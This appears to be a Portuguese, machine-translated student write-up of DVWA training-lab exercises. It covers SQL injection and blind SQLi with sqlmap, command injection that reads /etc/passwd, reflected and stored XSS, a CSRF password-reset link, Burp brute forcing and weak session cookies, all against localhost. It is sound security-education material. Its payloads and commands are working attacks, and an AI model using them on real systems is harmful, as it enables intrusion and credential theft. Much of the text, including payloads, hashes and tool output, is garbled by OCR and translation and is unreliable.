Você está na página 1de 10

SQL INJECTION - BAIXO NÍVEL

1. Quem é o usuário ativo do banco de dados? Nota: O uso de ferramentas automáticas não é
permitido para este exercício.

O usuário ativo está root@localhost

Identificaç Enviar
ELECT userOl.null - A
ão de
ID: 1' E 'A'='A' UNION SELECT user( )L, null -- Um Nome: admin Sobrenome: admin

ID: 1' E 'A'='A' UNION SELECT userOl.null -- A


Nome: root@localhost
Sobrenome:

Eu usei a carga útil 1' E 'A'='A' UNION SELECT user(),null dentro da string de texto, como uma
diferença para o que foi usado no vídeo explicativo e retornei o usuário ativo no banco de dados.

2. Qual carga útil você usaria para recuperar a versão do banco de dados? Nota: O uso de
ferramentas automáticas não é permitido para este exercício.

ID: ' ou 1=1 união selecionar versão(),1 #


Nome: 10. 1º. 29-MariaDB- 5
Sobrenome: 1

A carga útil é ' ou 1=1 union select version(),1 #.

A versão do banco de dados é 10.1.29-Maria DB-6 - MEDIUM LEVEL

3. Qual carga você usaria para recuperar o nome do banco de dados? Nota: O uso de ferramentas
automáticas não é permitido para este exercício.

Primeiro eu envio um pedido na URL (usei o anterior que eu já tinha colocado) para capturá-lo com
o Burpsuite e enviá-lo para o repetidor.
Pedir
J Cru J Params J Cabeçalhos J Hex
OBTER
/DVWA-master/vulnerabilidades/sqli/?id=1%27*20AND%20%27A%27=%27
A%27%20UNIONS20SELECT%20user()U,null%20--*20A&Submit=Enviar
HTTP/1.1
Anfitrião: 127.0.0.1
Usuário-agente: Mozilla/5.0 (xll; Linux x86_64; rv:52.0)
Gecko/20100101 Firefox/52.0
Aceitar:
texto/html, aplicativo/xhtml+xml, aplicativo/xml ; q=0. 9,*/*; q=G.
8
Accept-Language: en-US,en:q=Q.5
Accept-Encoding: gzip. Deflacionar
Cookie: security=low; PHPSESSID=69vevt2nsncdhkln7hsm38mjkO
DNT: 1
Conexão: fechar
Upgrade-Insecure-Solicitações: 1

Mudei a consulta de user() para database() e ela retorna o seguinte:


/forma-
<pré>ID: 1' E ' A'='A' UNIÃO SELECIONE
database), null -- A«br /Nome: adminebr /Sobrenome: admin</pre-spre>ID: 1' E 'A'='A' UNION SELECT database), null --
Aebr / Nome: dvwaebr /Sobrenome: « / nre>

O nome do banco de dados é: "dvwa"

4. Qual carga útil você usaria para listar todos os usuários (nome de usuário) e senhas (hash) no
banco de dados? Nota: A carga útil não pode exceder 70 caracteres e o uso de ferramentas
automáticas para este exercício não é permitido.
Simplesmente, no repetidor eu faço a consulta de selecionar first_name, senha dos usuários e listar
todos eles com suas respectivas senhas.
/forma-
<PRE>ID: 1 ' E 'A' ='A' UNIÃO SELECIONE
f irst_name , passwo rd de usuários -- A«br /Nome:
adminebr /Sobrenome: admin«/preepreID: 1' E 'A'='A' UNIÃO
SELECIONE first_namesenha H dos usuários -- A«br /Nome :
adminebr /Sobrenome:
5f4dcc3b5aa765d61d8327deb882cf99</pre>epre>ID: 1' E
'A'='A' UNION SELECT f irst_name, passwo rd de usuários -- A«br
/Nome: Gordonebr />Sobrenome:
e99a18c428cb38d5f 260853678922e03«/p re><pre>ID: 1' E
'A'='A' UNION SELECT f irst_name, passwo rd de usuários -- A«br
/Nome: Hackebr />Sobrenome:
8d3533d75ae2c3966d7e9d4fcc69216b</pre-spre>ID: 1' E
'A'='A' UNION SELECT f irst_name, passwo rd de usuários -- A«br
/Nome próprio: Pablo«br /Sobrenome:
0dI07d09f 5bbe40cade3de5c7le9e9b7</p re>epre>ID: 1' E
'A'='A' UNION SELECT f irst_name, passwo rd de usuários -- A«br
/Nome: Bobebr /-Sobrenome:
5f4dcc3b5aa765d61d8327deb882cf99</pre>epre>ID: 1' E
'A'='A' UNION SELECT f irst_name, passwo rd de usuários -- A«br
/Nome próprio: Aluno«br /Sobrenome:
EB0AL91797624DD3A48FA681D3061212«/Pre- «/div

SQL INJECTION (CEGO) - BAIXO NÍVEL

5. Qual(is) carga(s) você usaria para determinar a presença da vulnerabilidade? Descreva o


processo a seguir.

Sql injection (Blind) é um pouco mais complexo do que sql injection porque se houver um erro no
Payload ele irá retorná-lo para a página em branco, ou seja, ele não retorna nenhum resultado.

Para determinar a presença de vulnerabilidade, as verificações correspondentes são feitas:

Determine a vulnerabilidade e se ela é de texto ou numérica.

Com o Payload id=1 e 1=1 e 1=0 não consigo determinar se há injeção de código, pois ele retorna
as condições true e false. Com a carga id=1' E '1'='1 se eu puder determinar que há injeção do tipo
de texto, pois ele retorna o texto da consulta e com id=1' E '1'='0 ele não retorna para mim. Com
esses dados, podemos determinar que há uma injeção de código do tipo texto.
- NÍVEL MÉDIO
6. Ele usa uma ferramenta para explorar a vulnerabilidade e listar todos os usuários (nome de
usuário) e senhas (hashes) no banco de dados. Que instrução você usou? Qual foi a saída da
ferramenta?

Vou usar SQLmap: -Eu conecto sqlmap com a URL de injeção de sql Blind, eu adiciono o cookie e
um PAYLOAD true (anteriormente executado em dvwa) para me mostrar os bancos de dados
disponíveis.

2T1:~# sqlmap -u " http://127.0.0.1/DVWA-master/vulnerabilities/sqli_blind/" --cookie="security=medium;


PHPSESSID=69vevt
2nsncdhkln7hsm38mjke" --data="id=l&Submit=Submit" --dbs

Eu

-Assim que eu tiver os resultados eu acesso as diferentes tabelas e colunas até chegar aos usuários:

2T1:-# sqlmap -u " http://127.0.0. 1/DVWA-master/vulnerabilidades/sqli_blind/" - - cookie="security=medium; PHPSESSID=69vevt 2nsncdhkln7hsm38mjke" --


data="id=l&Submit=Submit" -D dvwa --tables

:~# sqlmap -u " http://127.0.0. 1/DVWA-master/vulnerabilidades/sqli blind/" - -cookie="security=medium; PHPSESSID=69vevt 2nsncdhkln7hsm38mj k0" --
data=,,id=l&Submit=Sublnit,' -D dvwa -T users --columns

:-# sqlmap -u "http://127. 0.0. 1/DVWA-master/vulnerabilidades/sqli cego/" PHPSESSID=69vevt


2nsncdhkln7hsm38mj k0" - -data="id=1&Submit=Submit" - D dvwa -T users -C usuário, senha

:~# sqlmap -u " http://127.0.0.1/DVWA-niaster/vulnerabilities/sqli_blind/" - -cookie="security=medium;


PHPSESSID=69vevt 2nsncdhkln7hsm38mjk0" data-"id-l&Submit-Submit" -D dvwa -T users -C username,password - - dump

Resultado:

Banco de dados: dvwa


Tabela: usuários
[6 entradas]
Banco de dados: dvwa----------------------------------------------------------------------------------3
Tabela: usuários-----------------------------------------------------------------------------------------3
[6 entradas]-----------------------------------------------------------------------------------------------3
5f4dcc3b5aa765d61d8327deb882cf99---------------------------------------------------------------3
5f4dcc3b5aa765d61d8327deb8B2cf99---------------------------------------------------------------3
8d3533d75ae2c3966d7e0d4fcc69216b e99al8c428cb38d5f260853678922e03
eb8al91797624dd3a48fa581d3861212---------------------------------------------------------------3

od107de9f5bbe40cade3de5c7le9e9b7
5f4dcc3b5aa765d61d8327deb882cf99
5f4dcc3b5aa765d61d8327deb8B2cf99
8d3533d75ae2c3966d7e0d4fcc69216b
e99al8c428cb38d5f260853678922e03 eb8al91797624dd3a48fa581d3861212

INJEÇÃO DE COMANDO - BAIXO NÍVEL


7. Qual carga útil você usaria para explorar a vulnerabilidade e listar o conteúdo do arquivo
/etc/passwd? (Copie também as 3 primeiras linhas do arquivo)
arquivo.txt ; gato /etc/passwd #
raiz: x: 0:0: raiz: / raiz: /bin/bash
daemon: x: 1:1: daemon: /us r/sbin: /us r/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys :x: 3:3: sys :/dev: /us r/sbin/nologin
sync: x : 4 : 65534 : sync: /bin: /bin/sync
jogos:x:5:60:jogos:/usr/jogos:/usr/sbin/nologin homem: x: 6:12: homem: /var/cache/man :/us
r/sbin/nologin Ip: x: 7:7: Ip: /var/spool/Lpd :/us r/sbin/nologin mail: x: 8:8: mail: /var/mail : /us
r/sbin/nologin news: x: 9:9: notícias : /var/spool/news :/us r/sbin/nologin uucp:
x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:p roxy:/bin:/usr/sbin/nologin
www- dados: x: 33: 33: www- dados: /var/www: /us r/sbin/nologin backup: x: 34:34: backup:
/var/backups: /us r/sbin/nologin list:x:38:38Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
anats : x :41 :41 Gnats Rud-Renortina Svstem ( admi n) : /var/1 i h/anats : /us ri

- NÍVEL MÉDIO

8. Qual carga útil você usaria para saber o diretório atual dentro do sistema de arquivos?
Neste nível, os símbolos "&& y;" foram eliminados igualando-os a "", não podemos mais usá-los,
mas ainda temos & y ||.
A carga útil utilizada é:

127.0.0.1 & ls

Ajuda
index.php fonte PING 127.0.0.1 (127.0.0.1) 56(84) bytes de dados. 64Bytes De 127.0.0.1:
icmp_seq=1 TTL=64 tempo=0,011 Ms
Banco de dados: dvwa 3
Tabela: usuários 3
[6 entradas] 3
5f4dcc3b5aa765d61d8327deb882cf99 3
5f4dcc3b5aa765d61d8327deb8B2cf99 3
8d3533d75ae2c3966d7e0d4fcc69216b e99al8c428cb38d5f260853678922e03
eb8al91797624dd3a48fa581d3861212 3

--- 127.0.0.1 Estatísticas de ping --------------


4 pacotes transmitidos, 4 recebidos, 9% de perda de pacotes, tempo 3060ms rtt
min/avg/max/mdev = 0,011/0,014/0,017/0,005 ms

9. Qual carga útil ou cargas úteis você usaria para encontrar o nome de usuário e a senha do
banco de dados? Dica: Ambos são armazenados no arquivo "config.inc.php".

Primeiro eu procuro o arquivo.

127.0.0.1 & ls

127.0.0.1 & ls.. / -Sob outro nível

127.0.0.1 & ls.. /.. / -Aqui eu encontro uma pasta chamada config. Vou ver o que tem lá dentro.

127.0.0.1 & ls.. /.. /config. Aqui está o arquivo que estamos procurando.
Configuração. inc ■ php|
configuração. S.A.; ..php. Dist
PING 127.8.8.1 (127.0.0.1) 56(84) bytes de dados.
Banco de dados: dvwa 3
Tabela: usuários 3
[6 entradas] 3
5f4dcc3b5aa765d61d8327deb882cf99 3
5f4dcc3b5aa765d61d8327deb8B2cf99 3
8d3533d75ae2c3966d7e0d4fcc69216b e99al8c428cb38d5f260853678922e03
eb8al91797624dd3a48fa581d3861212 3

— 127.0.0.1 Estatísticas de ping —


4 pacotes transmitidos, 4 recebidos, 8% de perda de pacotes, tempo 3078ms rtt
min/avg/max/mdev = 0,016/0,020/0,032/0,008 ms

Vou abri-lo para ver o que há nele.

XSS (REFLETIDO) - NÍVEL BAIXO

10. Explora a vulnerabilidade para criar um formulário de login falso. Insira a carga útil que você
usou.

Dentro da caixa de texto, eu digito HTML puro para criar um login falso:

<p>Login</p><br>

<input type="text" vlue="name"><br>

<input type="text" vlue="password">

- NÍVEL MÉDIO

11. Indique a carga útil que você usaria para abrir um pop-up.

<scr<script>alert("este é um pop-up")</scr</script>ipt>

Em teoria, eu deveria excluir as tags de script completo e deixar as que estão separadas e fazer o
pop-up, mas ele apaga tudo, então, eu adicionei uma foto que quando clicado o pop-up pula.

<img src="#" onclick=alert("popup!") >


No final, eu poderia, simplesmente intercalando maiúsculas e minúsculas:
<ScrIpt>alert('popup')</ScrIpT>

12. Indique a carga útil que você usaria para incluir um quadro que inclui uma página externa que
ocupa toda a tela, cobrindo a página DVWA completamente.

<ScrIpt>window.location="http:www.google.es"</ScrIpT>

Eu não consegui abrir uma janela acima, apenas abrir uma página.

Tentei abrir um html e um Div verde que ocupava toda a largura e altura da tela, mas não me abriu.

XSS (ARMAZENADO) - BAIXO NÍVEL

13. Qual é o nome do parâmetro vulnerável no formulário? Inclui um exemplo de como explorar a
vulnerabilidade.

O nome do parâmetro vulnerável é a caixa de mensagem.

Eu colocava um nome e na caixa Mensagem eu colocava o script.

<ScrIpt>alert('popup')</ScrIpT>

CSRF - BAIXO NÍVEL


14. Descreva a vulnerabilidade do formulário e como você poderia explorá-lo.
A vulnerabilidade é que a própria URL carrega todas as informações possíveis para uma alteração
de senha, isso significa que se você enviar um e-mail para um usuário pedindo que ele clique no
link e o link é: 127.0.0.1/dvwa/vulnerabilities/csrf/?
password_new=password&password_conf=password&C hange=Change#

A senha será redefinida para "senha" e quem enviou o e-mail falso poderá saber suas credenciais.

- NÍVEL MÉDIO

15. Aproveitando a vulnerabilidade "XSS (armazenado)", use-a para explorar o CSRF e ter a senha
da conta alterada para qualquer usuário que acesse essa página.

127.0.0.1/dvwa/vulnerabilidades/csrf/?password_new=senha&password_conf=senha&C
hange=Alterar#

FORÇA BRUTE

16. Ele indica 3 ferramentas que você pode usar para realizar um ataque de força bruta contra um
formulário de login.

SSB, THC-Hydra e Burp

17. Usando uma dessas ferramentas, obtenha a senha dos seguintes usuários. Para fazer isso, saia
do DVWA e ataque o formulário de login do aplicativo. Inclua também as instruções usadas para
iniciar a ferramenta ou uma descrição de como você a usou:

• admin • gordonb • 1337 • Paulo • ferraria

Vou usar Burp e para economizar um pouco de tempo, vou colocar o nome de usuário e senha
entre os sinais para poder dizer que coloquei então na carga útil 1 e 2. Para os usuários, na carga
útil 1 vou colocar os 5 usuários para obter o passe e na carga útil 2 vou colocar uma bateria de
senhas 6 das quais 5 estão corretas para esses usuários.

(2) Opções de carga útil [Lista simples]


Esse tipo de carga permite configurar uma lista simples de cadeias de caracteres que são usadas um

Adicionar da lista... [Somente versão Pro]


IDS DE SESSÃO FRACOS - NÍVEL BAIXO
18. Descreve como os valores do cookie "dvwaSession" são gerados.

Eles são gerados por uma soma de sessão.

Quando você gera o cookie, ele lhe dá o valor de +1.

Como resumo, não é necessário saber o nome de usuário e senha do usuário, simplesmente
colocando um cookie dvwaSession diferente de 0 enters.

- NÍVEL MÉDIO

19. DESCREVE COMO OS VALORES DO COOKIE "DVWASESSION" SÃO GERADOS.

Um cookie é gerado aparentemente com números aleatórios.


Referer: http://127.G.0. 1/DVWA-master/vulnerabilidades/weak_id/
Cookie: dvwaSession= 1637341204; segurança=médio;
PHPSESSID=qqgnj li6rblognlshlr9libc86
DNT: 1

Eu envio para o sequenciador e faço uma captura ao vivo de 5 ameaças a cada 500 milissegundos.
Eu copio os resultados e vejo que a cada segundo 1 é adicionado ao valor do cookie
1637341480 1637341481 1637341481 1637341481
1637341481 1637341481 1637341482 1637341482 1637341482 1637341482 1637341482 1637341482
1637341482 1637341482 1637341482 1637341483
1637341483 1637341483 1637341483 1637341483
1637341483 1637341483 1637341483 1637341483
1637341483

Então podemos dizer que o cookie que é gerado tem valor de tempo.

- ALTO NÍVEL

20. Descreve como os valores do cookie "dvwaSession" são gerados.

Ele gera uma chave numérica para mim,

Referer: http://127.0.0. 1/DVWA-master/vulnerabilidades/weak_id/


Biscoito: dvwaSession=1637341205; segurança=alta;
PHPSESSID=qqgnj li6rblognlshlr9libc86

Quando passo para o sequenciador e analiso, vejo que são md5

6f4922f4556B161a8cdf4ad2299f6d23 lf0e3dad99908345f7439f8ffabdffc4
98fl3708210194c475687be6106a3b84 3c59dc048e8850243be8D79a5c74d079
b6d767d2f8ed5d21a44b0eS886680cS886680cS886680c0c00c000c000c00c046680c00c00c046680c00c
00c046680c0c00c00c000c000c000c000c000c000c000c000c0000c000c000c0000c000c000c000c000c00
0c000c046680c00c00c046680c00c00c046680c00c00c00c046680c00c00c046680c00c00c00c046680c00
c00c00c046680c00c00c046680c00c00c00c046680c00c00c00c046680c00c00c00c046680c000c000c00c
046680c000c000c046680c000c00c046680c00c00c046680c000c00c046680c000c00c000c0046680c000
c046680c000c000c046680c000c00c046680c00c000c046680c00c000c046680c00c00c000c046680c000
c00c046680c000c04680c000c000c04680c000c04680c000c000c046680c000c000c046680c000c000c04
6680c000c0468006680c00c000000c00000c06680c000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000
33e75ff09dd601bbe69f351039152189 6ea9ablbaa0efb9el9094440c317e21b
34173cb38f07f89ddbebc2ac912 8303f cl6a5320fa475530d9583c34fd356ef5
6364d3f0f495b6ab9dcf8d3b5c6e0b01

Os resultados são: 18,19,20,12. Etc.

Ou seja, o cookie aumenta em 1 a sessão como no nível baixo, mas criptografado em MD5

OUTRO
21. Há uma funcionalidade oculta no aplicativo, você a encontra? Inclua uma captura de tela
mostrando a nova funcionalidade carregada no navegador da Web.

22. Descreva o que você está fazendo ao longo do próximo vídeo. Vá descrevendo os passos
desenvolvidos anotando em minuto/segundo o vídeo em que são feitos.
https://www.youtube.com/watch?v=40iLfdRwM8U

Todo o vídeo é baseado em injeção de SQL.


- 00:15 O usuário já logado na web (id=2), altera o id para id=3 para saber o nome do usuário
3 e do usuário 4

- 00:40 O usuário ativo insere uma condição True para que não afete a consulta e retorna a
primeira consulta que é id=4.

- 00:54 O usuário insere uma condição falsa, portanto, a consulta não retorna nenhum
resultado.

- 1:15 O usuário insere a carga útil id=4 ou 1=1 para listar todos os usuários no banco de
dados.

- 1:43 O usuário abre o sqlmap inserindo a URL vulnerável para fazer uma injeção automática
de sql.

- 2:18 um DUMP é feito para despejar todo o conteúdo da tabela de usuários. Porque a
consulta é feita nessa tabela na Web.

23. Liste todas as ferramentas que você usou para realizar os exercícios e explique onde você
as usou

Para estes exercícios usei apenas BURP e sqlmap.

-SQLMAP que usei no exercício 6.

BURP Eu o utilizei nos exercícios 3,4,17,19 e 20

Você também pode gostar